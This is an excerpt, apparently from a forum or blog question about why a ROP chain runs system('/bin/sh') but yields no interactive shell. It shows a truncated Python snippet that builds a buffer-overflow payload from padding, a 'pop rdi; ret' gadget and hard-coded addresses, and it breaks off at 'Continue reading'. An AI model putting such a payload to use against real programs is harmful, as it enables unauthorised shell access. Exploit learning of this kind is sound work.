ROP executes system("/bin/sh") but does not attach to it
Here is the code:
import struct
buf = ""
buf += "A" * 552
buf += struct.pack(‘<Q’, 0x401493) # pop rdi; ret
buf += struct.pack(‘<Q’, 0x7ffff7f79152) # /bin/sh
buf += struct.pack(‘<Q’, 0x7ffff7e37e50) # syste… Continue reading ROP executes system("/bin/sh") but does not attach to it